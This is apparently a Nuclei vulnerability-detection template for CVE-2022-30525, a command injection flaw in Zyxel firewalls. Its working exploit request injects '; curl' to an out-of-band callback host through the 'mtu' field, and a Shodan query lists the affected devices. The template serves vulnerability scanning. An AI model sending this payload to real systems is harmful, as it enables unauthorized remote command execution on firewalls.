id: CVE-2022-30525 info: name: Zyxel Firewall - OS Command Injection author: h1ei1,prajiteshsingh severity: critical description: | An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device. remediation: | Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability. reference: - https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/ - https://github.com/rapid7/metasploit-framework/pull/16563 - https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml - https://nvd.nist.gov/vuln/detail/CVE-2022-30525 - http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-30525 cwe-id: CWE-78 epss-score: 0.97471 epss-percentile: 0.9996 cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: zyxel product: usg_flex_100w_firmware shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" tags: packetstorm,zyxel,cve,cve2022,firewall,unauth,kev,msf,rce http: - raw: - | POST /ztp/cgi-bin/handler HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"} matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: status status: - 500 # digest: 490a004630440220687a22b3bd8bee709188c482c7e838d074dca4efaf0a1ed06cc0d85d1136a49902205ee9f76edd0def8aefc76a44039cd5bc90663c1832036bce71a37a92d64d6fab:922c64590222798bb761d5b6d8e72950